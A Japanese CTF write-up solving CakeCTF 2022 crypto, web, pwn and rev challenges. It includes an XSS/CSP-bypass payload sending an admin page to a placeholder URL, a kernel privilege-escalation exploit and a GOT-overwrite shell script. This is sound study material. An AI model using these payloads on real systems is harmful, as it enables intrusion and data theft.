CakeCTF 2022 Writeup

Sun Sep 04 2022

9/3-9/4 で開催していた CakeCTF 2022 に参加しました。結果は 4th/713 でした (得点のあるチームのみカウント)。 寝るタイミングを失ってしまうぐらい面白かったです。やるだけみたいな問題はほぼなく、どの問題も学びがあって本当によかった… 解いた問題について writeup を書きます。量が多いので省略気味に書きます…

crypto

Rock Door

9 solves

server.py
from Crypto.Util.number import getPrime, isPrime, getRandomRange, inverse, long_to_bytes
from hashlib import sha256
import os
import secrets


def h(s: bytes) -> int:
    return int(sha256(s).hexdigest(), 16)


q = 139595134938137125662213161156181357366667733392586047467709957620975239424132898952897224429799258317678109670496340581564934129688935033567814222358970953132902736791312678038626149091324686081666262178316573026988062772862825383991902447196467669508878604109723523126621328465807542441829202048500549865003
p = 2*q + 1

assert isPrime(p)
assert isPrime(q)

g = 2
flag = os.getenv("FLAG", "FakeCTF{hahaha_shshsh_hashman}")
x = h(secrets.token_bytes(16) + flag.encode())
y = pow(g, x, p)


def sign(m: bytes):
    z = h(m)
    k = h(long_to_bytes(x + z))
    r = h(long_to_bytes(pow(g, k, p)))
    s = (z + x*r) * inverse(k, q) % q
    return r, s


def verify(m: bytes, r: int, s: int):
    z = h(m)
    sinv = inverse(s, q)
    gk = pow(g, sinv*z, p) * pow(y, sinv*r, p) % p
    r2 = h(long_to_bytes(gk))
    return r == r2


print("p =", p)
print("g =", g)
print("y =", y)

print("=== sign ===")
m = input("m = ").strip().encode()
if b"goma" in m:
    quit()

r, s = sign(m)
# print("r =", r) do you really need?
print("s =", s)

print("=== verify ===")
m = input("m = ").strip().encode()
r = int(input("r = "))
s = int(input("s = "))
assert 0 < r < q
assert 0 < s < q

ok = verify(m, r, s)
if ok and m == b"hirake goma":
    print(flag)
elif ok:
    print("OK")
else:
    print("NG")

ほぼ DSA ですが、 kk が乱数ではなくハッシュから生成されています (k=h(x+z)k = h(x + z))。これを利用することを考えます。 最初の署名の段階で y,z,sy, z, s のペアから x,rx, r を求めないと2回目に任意の署名を作るのは難しいそうなのでこれを目指します。

ハッシュ関数は一方向なので、当然解析的に xx が求まるわけではなさそうです。 kk の大きさに注目すると256ビットであり、他の数と比べて十分小さいため、格子を使う方向性が筋よさそうです。 k=(z+xr)s1modqk = (z + xr)s^{-1} \mod q という式に注目して LLL を使います。

from hashlib import sha256

from Crypto.Util.number import long_to_bytes


def h(s: bytes) -> int:
    return int(sha256(s).hexdigest(), 16)


q = 139595134938137125662213161156181357366667733392586047467709957620975239424132898952897224429799258317678109670496340581564934129688935033567814222358970953132902736791312678038626149091324686081666262178316573026988062772862825383991902447196467669508878604109723523126621328465807542441829202048500549865003
p = 2*q + 1
g = 2

# メッセージを s として署名 s と公開鍵 y を入手
z = h(b"a")
y = 118533156261934174079957239785600726003504143719618930652301209430971439517610201818648654457722007484277653246853156623748561419338176015886797495627393125302673434524189463453860121173243430968310692572848937285105100544679493733497391554330928874050436371597091964526568385205554176020858124177010944938083
s = 33599189094354173038344233582583173116718518110742000501995250215399826683709540054592684718974552907131991645099271266539308558374684205574620351437815313794448712904672221733019273210039583619445543456971841766592478929484029642162582240701916125529980538869957363536914390699170193499715294732336257939619
sinv = int(pow(s, -1, q))

# [x * r, 1, k] = [x * r, 1, l] * mat
mat = matrix(ZZ, 3, 3)
mat[0, 0] = 1
mat[1, 1] = 1
mat[0, 2] = sinv
mat[1, 2] = sinv * z % q
mat[2, 2] = -q
weights = diagonal_matrix([1, 2**512, 2**256])
mat *= weights
res = mat.LLL()
mat /= weights
res /= weights

この res[x * r, 1, k] となることを期待しているのですが、なぜかうまくいかず、 [?, 0, k] という形になってしまいます。何回か実験したところ毎回この形でした。幸い kk は正しく求まるのでここから xx を求めていきます (以下追記あり)。

k = abs(int(res[0, 2]))
xr = int((k * s - z) % q)
r = h(long_to_bytes(int(pow(g, k, p))))
s_ = int((z + xr) * pow(k, -1, q) % q)
assert s == s_
assert xr % r == 0
x = xr // r

xx が求まったのでクリアです。

def sign(m: bytes):
    z = h(m)
    k = h(long_to_bytes(x + z))
    r = h(long_to_bytes(int(pow(g, k, p))))
    s = (z + x*r) * inverse(k, q) % q
    return r, s


def verify(m: bytes, r: int, s: int):
    z = h(m)
    sinv = inverse(s, q)
    gk = int(pow(g, sinv*z, p) * pow(y, sinv*r, p) % p)
    r2 = h(long_to_bytes(gk))
    return r == r2


r, s = sign(b"hirake goma")
verify(b"hirake goma", r, s)

CakeCTF{uum_hash_is_too_small_compared_to_modulus}

【9/4 23:50 追記】

この res[x * r, 1, k] となることを期待しているのですが、なぜかうまくいかず、 [?, 0, k] という形になってしまいます。

の件について、 @josep68_ さんが原因を教えてくれました。ありがとうございます! https://twitter.com/josep68_/status/1566393491122376704?s=20&t=SN2a8TuB6vK7EZUblmR3iw

the form is [z+xr, 0, k] (so you can actually just use a 2x2 matrix [[1, sinv], [0, -q]] instead, even without weights) LLL finds [z+xr, 0, 2^256 k] instead because it's smaller than the vector we expect [xr, 2^512, 2^256 k]

[x * r, 1, k] よりもノルムの小さいベクトルとして、 [x * r + z, 0, k] が存在するので、 LLL ではこの解を導出してしまうとのことでした。k=(z+xr)s1modqk = (z + xr)s^{-1} \mod q の式を見ると確かにそうですね。 ということでこの問題では、

# [x * r + z, k] = [x * r + z, l] * mat
mat = matrix(ZZ, 2, 2)
mat[0, 0] = 1
mat[0, 1] = sinv
mat[1, 1] = -q
weights = diagonal_matrix([1, 2**256])
mat *= weights
res = mat.LLL()
mat /= weights
res /= weights

とするほうがベターです。こうすることで、もともとの3次元行列での実装では (2512×2256q)1/32598(2^512 \times 2^256 q)^{1/3} \simeq 2^{598} 程度の最短ベクトルしか求まらなかったのが、 (2256q)1/22640(2^256 q)^{1/2} \simeq 2^{640} 程度の最短ベクトルが求まるようになりました。この問題ではどっちでも求まってしまいますが。

【追記終わり】

hi yoshiking

10 solves

server.rb
require 'openssl'
require 'json'

class String
  def hex
    return self.unpack("H*")[0]
  end

  def unhex
    return [self].pack("H*")
  end
end


STDOUT.sync = true
key = OpenSSL::Random.random_bytes(32)

while true
  puts "1: create your token\n2: login with your token"
  print "> "

  case gets.strip.to_i
  when 1 then
    iv = OpenSSL::Random.random_bytes(12)
    print "your name: "

    name = gets.strip
    encryptor     = OpenSSL::Cipher.new('AES-256-GCM')
    encryptor.encrypt
    encryptor.key = key
    encryptor.iv  = iv

    token = encryptor.update(JSON.generate({
      "username" => name,
      "is_yoshiking" => false,
    })) + encryptor.final
    puts "your token: #{iv.hex}:#{token.hex}:#{encryptor.auth_tag.hex}"

  when 2 then
    print "your token: "

    begin
      iv, c, tag  = gets.strip.split(":").map(&:unhex)

      decryptor     = OpenSSL::Cipher.new('AES-256-GCM')
      decryptor.decrypt
      decryptor.key = key
      decryptor.iv  = iv
      decryptor.auth_tag = tag

      data = JSON.parse(decryptor.update(c) + decryptor.final)

      if data["username"] == "yoshiking" and data["is_yoshiking"] then
        raise "I know it is fake at all" unless tag.size == 16
        puts "I'm glad you could come, yoshiking. Here is the flag: #{ENV["flag"] || "fakeCTF{yoyooyoyoyyoo_shikiiiiiiiing}"}"
      else
        puts "hello #{data["username"]}"
      end
        
    rescue => e
      p e
    end

  else
    break
  end
end

うっ、 ruby...わざわざ ruby で出すということは ruby 特有の問題なのではという気持ちになります。 ソースコードを読むと raise "I know it is fake at all" unless tag.size == 16 の部分が気になります。 tag.size == 16?それはそうでは? https://www.mbsd.jp/research/20200901/aes-gcm/ とかを読んでみると、 PHP や ruby では AES-GCM のタグの長さを検証しないといけないとのことでした。 そんなことある?と思ってタグを最初の1バイトのみにして検証してみると確かに通ります。 さらに実験してみると、先頭から一致していれば検証が通ることがわかります。ということで任意の暗号文に対するタグを先頭から1文字ずつリークすることが可能になります。 あとは暗号文を偽造するだけです。これは xor で作られているので簡単。

solve.py
from binascii import unhexlify
from pwn import remote, xor

io = remote("crypto.2022.cakectf.com", 10333)
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"your name: ", b"yoshiking")
io.recvuntil(b"your token: ")
ret = io.recvline().strip().decode()
iv, token, tag = ret.split(":")
token = unhexlify(token)

m1 = msg[32:]
m2 = b'iking": true}'
assert len(m1) == len(m2)
diff = xor(msg[32:], b'iking": true}')
new_token = token[:32] + long_to_bytes(bytes_to_long(token[32:] + b"\x00" * 19) ^ bytes_to_long(diff + b"\x00" * 19))
new_token = new_token[:45]
tag = b""
for idx in range(16):
    for i in range(256):
        payload = iv + ":" + new_token.hex() + ":" + (tag + long_to_bytes(i)).hex()
        _ = io.sendlineafter(b"> ", b"2")
        _ = io.sendlineafter(b"your token: ", payload)
        ret = io.recvline().strip().decode()
        if ret != "OpenSSL::Cipher::CipherError":
            print(ret, tag)
            tag += long_to_bytes(i)

CakeCTF{hi_yoshiking_lets_go_sushi}

brand new crypto

46 solves

task.py
from Crypto.Util.number import getPrime, getRandomRange, inverse, GCD
import os

flag = os.getenv("FLAG", "FakeCTF{sushi_no_ue_nimo_sunshine}").encode()


def keygen():
    p = getPrime(512)
    q = getPrime(512)

    n = p * q
    phi = (p-1)*(q-1)

    while True:
        a = getRandomRange(0, phi)
        b = phi + 1 - a

        s = getRandomRange(0, phi)
        t = -s*a * inverse(b, phi) % phi

        if GCD(b, phi) == 1:
            break
    return (s, t, n), (a, b, n)


def enc(m, k):
    s, t, n = k
    r = getRandomRange(0, n)

    c1, c2 = m * pow(r, s, n) % n, m * pow(r, t, n) % n
    assert (c1 * inverse(m, n) % n) * inverse(c2 * inverse(m, n) % n, n) % n == pow(r, s - t, n)
    assert pow(r, s -t ,n) == c1 * inverse(c2, n) % n
    return m * pow(r, s, n) % n, m * pow(r, t, n) % n


def dec(c1, c2, k):
    a, b, n = k
    return pow(c1, a, n) * pow(c2, b, n) % n


pubkey, privkey = keygen()

c = []
for m in flag:
    c1, c2 = enc(m, pubkey)
    assert dec(c1, c2, privkey)

    c.append((c1, c2))

print(pubkey)
print(c)

フラグを1文字ずつ暗号化しています。つまり復号が直接できなくてもある正しい1文字 mm に対してのみ成立する等式を見つけられれば1文字ずつ平文を特定できます。 c1=mrsmodnc_1 = mr^s \mod n, c2=mrtmodnc_2 = mr^t \mod n を変形すると (c1m1)t=(c2m1)s(c_1 m^{-1})^t = (c_2 m^{-1})^s となります。これを使います。

solve.py
s, t, n = pubkey
flag = ""
for idx in range(len(c)):
    c1, c2 = c[idx]
    for m in range(32, 127):
        m_inv = pow(m, -1, n)
        if pow(c1 * m_inv, t, n) == pow(c2 * m_inv, s, n):
            flag += chr(m)
            print(flag)
            break

CakeCTF{s0_anyway_tak3_car3_0f_0n3_byt3_p1aint3xt}

frozen cake

132 solves

task.py
from Crypto.Util.number import getPrime
import os

flag = os.getenv("FLAG", "FakeCTF{warmup_a_frozen_cake}")
m = int(flag.encode().hex(), 16)

p = getPrime(512)
q = getPrime(512)

n = p*q

print("n =", n)
print("a =", pow(m, p, n))
print("b =", pow(m, q, n))
print("c =", pow(m, n, n))

意外と見ない形の RSA 問題で一瞬焦りますが、 mn=mpq=mpq(p1)(q1)=mp+qm1modnm^n = m^{pq} = m^{pq - (p-1)(q-1)} = m^{p+q}m^{-1} \mod n (m(p1)(q1)=1modnm^{(p-1)(q-1)} = 1 \mod n を利用) となるので mn,mp,mqm^n, m^p, m^q から mm が求まります。

solve.py
from Crypto.Util.number import long_to_bytes


n = 101205131618457490641888226172378900782027938652382007193297646066245321085334424928920128567827889452079884571045344711457176257019858157287424646000972526730522884040459357134430948940886663606586037466289300864147185085616790054121654786459639161527509024925015109654917697542322418538800304501255357308131
a = 38686943509950033726712042913718602015746270494794620817845630744834821038141855935687477445507431250618882887343417719366326751444481151632966047740583539454488232216388308299503129892656814962238386222995387787074530151173515835774172341113153924268653274210010830431617266231895651198976989796620254642528
b = 83977895709438322981595417453453058400465353471362634652936475655371158094363869813512319678334779139681172477729044378942906546785697439730712057649619691929500952253818768414839548038664187232924265128952392200845425064991075296143440829148415481807496095010301335416711112897000382336725454278461965303477
c = 21459707600930866066419234194792759634183685313775248277484460333960658047171300820279668556014320938220170794027117386852057041210320434076253459389230704653466300429747719579911728990434338588576613885658479123772761552010662234507298817973164062457755456249314287213795660922615911433075228241429771610549

long_to_bytes(int(a * b * pow(c, -1, n)))

CakeCTF{oh_you_got_a_tepid_cake_sorry}

web

OpenBio

50 solves

入力がサニタイズされていないので <script> を埋め込むこと自体は簡単です。しかし CSP で守られています。

app.py
@app.after_request
def after_request(response):
    csp  = ""
    csp +=  "default-src 'none';"
    if 'csp_nonce' in flask.g:
        csp += f"script-src 'nonce-{flask.g.csp_nonce}' https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';"
    else:
        csp += f"script-src https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';"
    csp += f"style-src https://cdn.jsdelivr.net/;"
    csp += f"frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;"
    csp += f"base-uri 'none';"
    csp += f"connect-src 'self';"
    response.headers['Content-Security-Policy'] = csp
    return response

@app.context_processor
def csp_nonce_init():
    flask.g.csp_nonce = base64.b64encode(os.urandom(16)).decode()
    return dict(csp_nonce=flask.g.csp_nonce)

基本的に nonce で守られています。 <script みたいにタグを閉じないことで後続の nonce を奪えるみたいな手法があったと思うのですが、それは通りませんでした。

nonce 以外に、ホワイトリストに登録されているものがいくつかあります。これらから angular とかが呼び出せると、 {{constructor.constructor('...')()}} という形で任意のスクリプトを実行できることが知られています。 https://csp-evaluator.withgoogle.com/ のサイトに CSP のヘッダーを貼っつけると https://cdn.jsdelivr.net/ がやばいよと言われます。実際 https://cdn.jsdelivr.net/npm/[email protected]/angular.js に angular がありました。 というわけであとは admin ページを fetch したときのデータを手元に持ってくるだけです。 こういうとき redirect させるの嫌なので st98 さんに昔教えてもらった sendBeacon を使う方法でやりたかったのですが、 CSP に弾かれてしまいました… setTimeout でごまかしました。以下のスクリプトを埋め込むことでフラグが手に入りました。

<script src="https://cdn.jsdelivr.net/npm/[email protected]/angular.js"></script> <p ng-app>{{constructor.constructor('fetch("/").then(r => r.text()).then(t => setTimeout(() => {location.href="MYURL?q="+escape(t)}, 2000))')()}}

CakeCTF{httponly=true_d03s_n0t_pr0t3ct_U_1n_m4ny_c4s3s!}

CakeGEAR

104 solves

以下の部分が怪しいです。

index.php
    if ($req->username === 'godmode'
        && !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) {
        /* Debug mode is not allowed from outside the router */
        $req->username = 'nobody';
    }

    switch ($req->username) {
        case 'godmode':
            /* No password is required in god mode */
            $_SESSION['login'] = true;
            $_SESSION['admin'] = true;
            break;

usernamegodmode にしても REMOTE_ADDR を localhost にできないと godmode には突入できなさそうに見えます。 しかし調べてみると PHP の switch 文は緩やかな比較をするということなので、 username=true とかにしてしまうと "godmode" == true となり、最初の case が実行されます。 https://www.php.net/manual/ja/types.comparisons.php とかを参照。

CakeCTF{y0u_mu5t_c4st_2_STRING_b3f0r3_us1ng_sw1tch_1n_PHP}

pwn

welkerme

75 solves

人生初 kernel exploit 問。 README がある (しかも日本語のもある) のでこれをじっくり読みます。 ドライバの概念とかはよくわからなかったですが、 exploit.cfunc 内で commit_creds(prepare_kernel_cred(NULL)); を呼べればよさそうということがわかりました。 これをするためには commit_credsprepare_kernel_cred のアドレスを知る必要があるのですが、 /proc/kallsyms に書いてあるとのことです。 しかし、 /proc/kallsyms は root じゃないと読めません。アドレスはランダムだろうから一般ユーザーには知る由もないのでは…?と思いきや、 run.sh を見ると nokaslr という指定がありました。きっとこれでアドレスのランダム化を防いでいるのでしょう。 なので流れとしては、 debug モード (make dev) でアドレスを知る→ exploit.c で commit_creds, prepare_kernel_cred を定義する→ commit_creds(prepare_kernel_cred(NULL)); を呼ぶ→シェルを叩くという形です。

:exploit.c
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define CMD_ECHO 0xc0de0001
#define CMD_EXEC 0xc0de0002

void *(*prepare_kernel_cred)(void *);
int (*commit_creds)(void *);

int func(void) {
  commit_creds(prepare_kernel_cred(NULL));
  return 31337;
}

int main(void) {
  int fd, ret;

  prepare_kernel_cred = (void *)0xffffffff810726e0;
  commit_creds = (void *)0xffffffff81072540;

  if ((fd = open("/dev/welkerme", O_RDWR)) < 0) {
    perror("/dev/welkerme");
    exit(1);
  }

  ret = ioctl(fd, CMD_ECHO, 12345);
  printf("CMD_ECHO(12345) --> %d\n", ret);

  ret = ioctl(fd, CMD_EXEC, (long)func);
  printf("CMD_EXEC(func) --> %d\n", ret);

  close(fd);

  execl("/bin/sh", "sh", NULL);
  return 0;
}

CakeCTF{b4s1cs_0f_pr1v1l3g3_3sc4l4t10n!!}

str.vs.cstr

88 solves

main.cpp
#include <array>
#include <iostream>

struct Test {
  Test() { std::fill(_c_str, _c_str + 0x20, 0); }
  char* c_str() { return _c_str; }
  std::string& str() { return _str; }

private:
  __attribute__((used))
  void call_me() {
    std::system("/bin/sh");
  }

  char _c_str[0x20];
  std::string _str;
};

int main() {
  Test test;

  std::setbuf(stdin, NULL);
  std::setbuf(stdout, NULL);

  std::cout << "1. set c_str" << std::endl
            << "2. get c_str" << std::endl
            << "3. set str" << std::endl
            << "4. get str" << std::endl;

  while (std::cin.good()) {
    int choice = 0;
    std::cout << "choice: ";
    std::cin >> choice;

    switch (choice) {
      case 1: // set c_str
        std::cout << "c_str: ";
        std::cin >> test.c_str();
        break;

      case 2: // get c_str
        std::cout << "c_str: " << test.c_str() << std::endl;
        break;

      case 3: // set str
        std::cout << "str: ";
        std::cin >> test.str();
        break;

      case 4: // get str
        std::cout << "str: " << test.str() << std::endl;
        break;

      default: // otherwise exit
        std::cout << "bye!" << std::endl;
        return 0;
    }
  }
  
  return 1;
}
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

c の char* と cpp の string がこの順でスタック上に存在しています。 std::cin >> test.c_str() にオーバーフローの脆弱性があります。

string は「文字列を格納するアドレス (8bytes), 長さ (8bytes), 文字列 (短ければここに、長ければ heap 上に)」という構造をしています。なので「文字列を格納するアドレス」を test.c_str() のオーバーフローで書き換えれば GOT に任意書き込みができます。これで call_me を呼べるようにします。

solve.py
from pwn import *


elf = ELF("./chall")

io = remote("pwn1.2022.cakectf.com", 9003)

context.binary = elf

# libc のアドレス解決をするために 2, 4 を呼んでおく
io.sendlineafter(b"choice", b"2")
io.sendlineafter(b"choice", b"4")
io.sendlineafter(b"choice", b"3")
io.sendlineafter(b"str: ", b"B" * 0x50)
io.sendlineafter(b"choice", b"1")
io.sendlineafter(b"c_str: ", b"A" * 0x20 + p64(0x00404048))
io.sendlineafter(b"choice", b"3")
io.sendlineafter(b"str: ", p64(0x4016de))
io.interactive()

CakeCTF{HW1: Remove "call_me" and solve it / HW2: Set PIE+RELRO and solve it}

rev

kiwi

18 solves

この問題を解くためには大きく分けて3ステップあり、①適切な鍵のフォーマットの特定、② checkMessage が通る条件の特定、③暗号文のデコード、といった感じです。

①適切な鍵のフォーマットの特定 入力は chunk に分かれていて、先頭が 00, 01, 02 で分岐します。

  • 00 -> 読み込み終了
  • 01 -> その後の文字を1文字ずつ読みとって this + 0x18 を代入。各バイトの最上位ビットが1ならば読み続け、0ならば終了
  • 02 -> chunk_size, c1, c2, c3, ... という形式で読み取る。

checkMessage が通る条件の特定

  • this & 1 != 1
  • *(this + 0x18) == -0x35013b0d (or 0xcafec4f3)
  • this & 2 != 2
  • this + 0x8 の array のサイズが8以上

1つ目と3つ目は 01, 02 の処理を行うと自動的に満たされます。 01 のほうの条件はややこしいですが、以下のようなスクリプトで適切な chunk を決定できます。

from Crypto.Util.number import long_to_bytes

target = 0xcafec4f3
bin_target = bin(target)[2:]
ans = ""
for i in range(0, len(bin_target), 7):
    if i == 0:
        tmp = bin_target[-i-7:]
    else:
        tmp = bin_target[-i-7:-i]
    if len(tmp) != 7:
        break
    ans += "1" + tmp
ans += "0000" + tmp
long_to_bytes(int(ans, 2)).hex()
# 01f389fbd70c

02 のほうは chunk_size が8以上であればなんでもよさそうです。 02080000000000000000 とでもしておきます。 全体を踏まえ、 01f389fbd70c0208000000000000000000checkMessage を突破できます。

③暗号文のデコード 02 で指定した鍵を使ってフラグが暗号化されます。この暗号化は xor に毛が生えたものになっているので簡単に復号できます。

from binascii import unhexlify
from pwn import xor

enc = unhexlify("bc9f9699b8aebf8380c5aa9ac0c195af9bdeb29c99d99fdb8992baa38c8d868cba81bbaeebb786aba3e2bbb0e7a0b5e1b5ffa3ab94afbffbb5bfb1acf2aca6bd")
xor(enc, bytes(i for i in range(len(enc))), b"\xff" * len(enc))

CakeCTF{w3_n33d_t0_pr3v3nt_Google_fr0m_st4nd4rd1z1ng_ev3ryth1ng}

zundamon

20 solves

This program may harm your computer. Do not run it outside sandbox. という赤字の注意書きが怖い問題。 pcap ファイルも配られており、 RPUSH などの文字列から redis に何かを格納している様子が伺えます。 pcap の RPUSH 周辺や、バイナリ上でそれを書き込んでいる部分の周辺を見てみると、何かしらの3バイトを定期的に送っていそうです。以下のような形式です。

1d0001
1d0002
2d0001
2d0000
210001
210000
1d0000
210001
210000
0f0001
0f0000
...

もう少しバイナリを見ると、これらの値は /dev/input/ の何かのイベントを読み取っていることがわかります。このイベントが何なのかを特定する術を持っていなかったためエスパーしたところ (1d, 2d などの文字や /dev/input などで検索をかけた)、キーボードの入力を表していそうです。

まず pcap から↑の3バイトに相当するものを全部列挙します。

with open("evidence.pcapng", "rb") as fp:
    buf = fp.read()

contents = []
prefix = b"\x24\x31\x37\x0d\x0a\x64\x38\x3a\x66\x32\x3a\x63\x61\x3a\x63\x65\x3a\x34\x34\x3a\x38\x64\x0d\x0a\x24\x33\x0d\x0a"
while True:
    idx = buf.find(prefix)
    if idx == -1:
        break
    buf = buf[idx:]
    contents.append(buf[len(prefix): len(prefix) + 3].hex())
    assert buf[len(prefix) + 3: len(prefix) + 5] == b"\x0d\x0a"
    buf = buf[len(prefix) + 5:]

自分のキーボードの入力を hexdump /dev/input/... で確認したりググったりして、キーと数値の対応関係を見つけます。

# https://www.win.tue.nl/~aeb/linux/kbd/scancodes-7.html
keymap = {
    "2a": "<SFT>",
    "2c": "z",
    "2d": "x",
    "2e": "c",
    "2f": "v",
    "30": "b",
    "31": "n",
    "32": "m",
    "33": ",",
    "34": ".",
    "35": "/",
    "1e": "a",
    "1f": "s",
    "20": "d",
    "21": "f",
    "22": "g",
    "23": "h",
    "24": "j",
    "25": "k",
    "26": "l",
    "27": ";",
    "28": "'",
    "2b": "\\",
    "10": "q",
    "11": "w",
    "12": "e",
    "13": "r",
    "14": "t",
    "15": "y",
    "16": "u",
    "17": "i",
    "18": "o",
    "19": "p",
    "1a": "[",
    "1b": "]",
    "1c": "<ENT>",
    "1d": "<CTL>",
    "0f": "<TAB>",
    "02": "1",
    "03": "2",
    "04": "3",
    "05": "4",
    "06": "5",
    "07": "6",
    "08": "7",
    "09": "8",
    "0a": "9",
    "0b": "0",
    "0c": "-",
    "0d": "=",
    "0e": "<BS>",
    "6c": "<META>",
    "69": "<FIND>",
    "59": "<F2>",
    "4f": "1",
    "39": "<SPACE>",
}

これらの情報を元になんのキーを打ったか確認します。

new_contents = []
ans = ""
for c in contents:
    if c[-2:] == "01":
        tmp = keymap.get(c[:2], "?")
        ans += tmp
        new_contents.append((c, tmp))
        if tmp == "?":
            print(c[:2])
    else:
        tmp = keymap.get(c[:2], "?")
        new_contents.append((c, tmp))
        if tmp == "?":
            print(c[:2])

ans (キーを押した瞬間だけを考慮した文字列) は '<CTL>xff<TAB><ENT><META><META><ENT><BS><BS><BS><ENT><SFT>cake<SFT>ctf]<SFT>\\<FIND>b3<SFT><F2>c4r3fu<SFT>l<SFT><F2>0f<SFT><F2>m4l1c10us<SFT><F2>k3y<SFT>l0gg3r1<ENT><SFT>i<SPACE>hope<SPACE>nobody<SPACE>is<SPACE>seeing<SPACE>my<SPACE>screen...<ENT><CTL>xs' となりました。 <CTL>xf とか確か emacs とかのキーバインドだった気がする (自分は vim 派) ので、恐らく方針は合っていそう。 しかしよくあるフラグの書式だと _ になりそうな部分が <SFT><F2> となってしまっていたり、このままだと正しいフラグにはならなそうです。 キーボード特定しないといけない?大変そうだったのでエスパーしました。

CakeCTF{b3_c4r3fuL_0f_m4l1c10us_k3yL0gg3r}

luau

64 solves

lua の rev 問。 lua わからん… とりあえずディスアセンブルぐらいはできないと何もできないな、ということでぐぐると https://github.com/viruscamp/luadec というツールがあることを知り、 version 5.3 に対応したもの (配布バイナリがこのバージョン) をインストールしました。 luadec -dis libflag.lua > disasm のようなコマンドでディスアセンブルができます。

; Disassembled using luadec 2.2 rev: 895d923 for Lua 5.3 from https://github.com/viruscamp/luadec
; Command line: -dis ../../libflag.lua 

; Function:        0
; Defined at line: 0
; #Upvalues:       1
; #Parameters:     0
; Is_vararg:       2
; Max Stack Size:  2

    0 [-]: CLOSURE   R0 0         ; R0 := closure(Function #0_0)
    1 [-]: NEWTABLE  R1 0 1       ; R1 := {} (size = 0,1)
    2 [-]: SETTABLE  R1 K0 R0     ; R1["checkFlag"] := R0
    3 [-]: RETURN    R1 2         ; return R1
    4 [-]: RETURN    R0 1         ; return 


; Function:        0_0
; Defined at line: 1
; #Upvalues:       1
; #Parameters:     2
; Is_vararg:       0
; Max Stack Size:  41

    0 [-]: NEWTABLE  R2 26 0      ; R2 := {} (size = 26,0)
    1 [-]: LOADK     R3 K0        ; R3 := 62
    2 [-]: LOADK     R4 K1        ; R4 := 85
    3 [-]: LOADK     R5 K2        ; R5 := 25
    4 [-]: LOADK     R6 K3        ; R6 := 84
    5 [-]: LOADK     R7 K4        ; R7 := 47
    6 [-]: LOADK     R8 K5        ; R8 := 56
    7 [-]: LOADK     R9 K6        ; R9 := 118
    8 [-]: LOADK     R10 K7       ; R10 := 71
    9 [-]: LOADK     R11 K8       ; R11 := 109
   10 [-]: LOADK     R12 K9       ; R12 := 0
   11 [-]: LOADK     R13 K10      ; R13 := 90
   12 [-]: LOADK     R14 K7       ; R14 := 71
   13 [-]: LOADK     R15 K11      ; R15 := 115
   14 [-]: LOADK     R16 K12      ; R16 := 9
   15 [-]: LOADK     R17 K13      ; R17 := 30
   16 [-]: LOADK     R18 K14      ; R18 := 58
   17 [-]: LOADK     R19 K15      ; R19 := 32
   18 [-]: LOADK     R20 K16      ; R20 := 101
   19 [-]: LOADK     R21 K17      ; R21 := 40
   20 [-]: LOADK     R22 K18      ; R22 := 20
   21 [-]: LOADK     R23 K19      ; R23 := 66
   22 [-]: LOADK     R24 K20      ; R24 := 111
   23 [-]: LOADK     R25 K21      ; R25 := 3
   24 [-]: LOADK     R26 K22      ; R26 := 92
   25 [-]: LOADK     R27 K23      ; R27 := 119
   26 [-]: LOADK     R28 K24      ; R28 := 22
   27 [-]: LOADK     R29 K10      ; R29 := 90
   28 [-]: LOADK     R30 K25      ; R30 := 11
   29 [-]: LOADK     R31 K23      ; R31 := 119
   30 [-]: LOADK     R32 K26      ; R32 := 35
   31 [-]: LOADK     R33 K27      ; R33 := 61
   32 [-]: LOADK     R34 K28      ; R34 := 102
   33 [-]: LOADK     R35 K28      ; R35 := 102
   34 [-]: LOADK     R36 K11      ; R36 := 115
   35 [-]: LOADK     R37 K29      ; R37 := 87
   36 [-]: LOADK     R38 K30      ; R38 := 89
   37 [-]: LOADK     R39 K31      ; R39 := 34
   38 [-]: LOADK     R40 K31      ; R40 := 34
   39 [-]: SETLIST   R2 38 1      ; R2[0] to R2[37] := R3 to R40 ; R(a)[(c-1)*FPF+i] := R(a+i), 1 <= i <= b, a=2, b=38, c=1, FPF=50
   40 [-]: LEN       R3 R0        ; R3 := #R0
   41 [-]: LEN       R4 R2        ; R4 := #R2
   42 [-]: EQ        1 R3 R4      ; if R3 ~= R4 then goto 44 else goto 46
   43 [-]: JMP       R0 2         ; PC += 2 (goto 46)
   44 [-]: LOADBOOL  R3 0 0       ; R3 := false
   45 [-]: RETURN    R3 2         ; return R3
   46 [-]: NEWTABLE  R3 0 0       ; R3 := {} (size = 0,0)
   47 [-]: NEWTABLE  R4 0 0       ; R4 := {} (size = 0,0)
   48 [-]: LOADK     R5 K32       ; R5 := 1
   49 [-]: LEN       R6 R0        ; R6 := #R0
   50 [-]: LOADK     R7 K32       ; R7 := 1
   51 [-]: FORPREP   R5 8         ; R5 -= R7; pc += 8 (goto 60)
   52 [-]: GETTABUP  R9 U0 K33    ; R9 := U0["string"]
   53 [-]: GETTABLE  R9 R9 K34    ; R9 := R9["byte"]
   54 [-]: SELF      R10 R0 K35   ; R11 := R0; R10 := R0["sub"]
   55 [-]: MOVE      R12 R8       ; R12 := R8
   56 [-]: ADD       R13 R8 K32   ; R13 := R8 + 1
   57 [-]: CALL      R10 4 0      ; R10 to top := R10(R11 to R13)
   58 [-]: CALL      R9 0 2       ; R9 := R9(R10 to top)
   59 [-]: SETTABLE  R3 R8 R9     ; R3[R8] := R9
   60 [-]: FORLOOP   R5 -9        ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -9 , goto 52 end
   61 [-]: LOADK     R5 K32       ; R5 := 1
   62 [-]: LEN       R6 R1        ; R6 := #R1
   63 [-]: LOADK     R7 K32       ; R7 := 1
   64 [-]: FORPREP   R5 8         ; R5 -= R7; pc += 8 (goto 73)
   65 [-]: GETTABUP  R9 U0 K33    ; R9 := U0["string"]
   66 [-]: GETTABLE  R9 R9 K34    ; R9 := R9["byte"]
   67 [-]: SELF      R10 R1 K35   ; R11 := R1; R10 := R1["sub"]
